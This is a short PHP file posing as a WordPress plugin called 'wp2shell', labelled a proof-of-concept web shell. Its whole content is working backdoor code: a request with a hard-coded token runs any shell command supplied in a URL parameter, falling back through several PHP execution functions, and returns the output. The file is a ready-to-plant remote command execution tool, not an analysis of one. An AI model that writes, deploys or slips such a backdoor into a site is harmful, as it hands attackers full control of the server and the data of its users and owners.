WS_OK_7.4.33
<?php
/*
Plugin Name: wp2shell
Description: PoC webshell. DELETE AFTER TESTING.
*/
$_t = isset($_GET['t']) ? (string)$_GET['t'] : '';
if (hash_equals('946e06a15a36bb465119143d7b7074fe', $_t)) {
echo 'WP2SHELL::';
if (isset($_GET['c'])) {
$c = (string)$_GET['c'];
if (function_exists('system')) { ob_start(); system($c); echo ob_get_clean(); }
elseif (function_exists('passthru')) { ob_start(); passthru($c); echo ob_get_clean(); }
elseif (function_exists('exec')) { exec($c, $o); echo implode("\n", $o) . "\n"; }
elseif (function_exists('shell_exec')) { echo (string)shell_exec($c); }
}
echo '::END';
}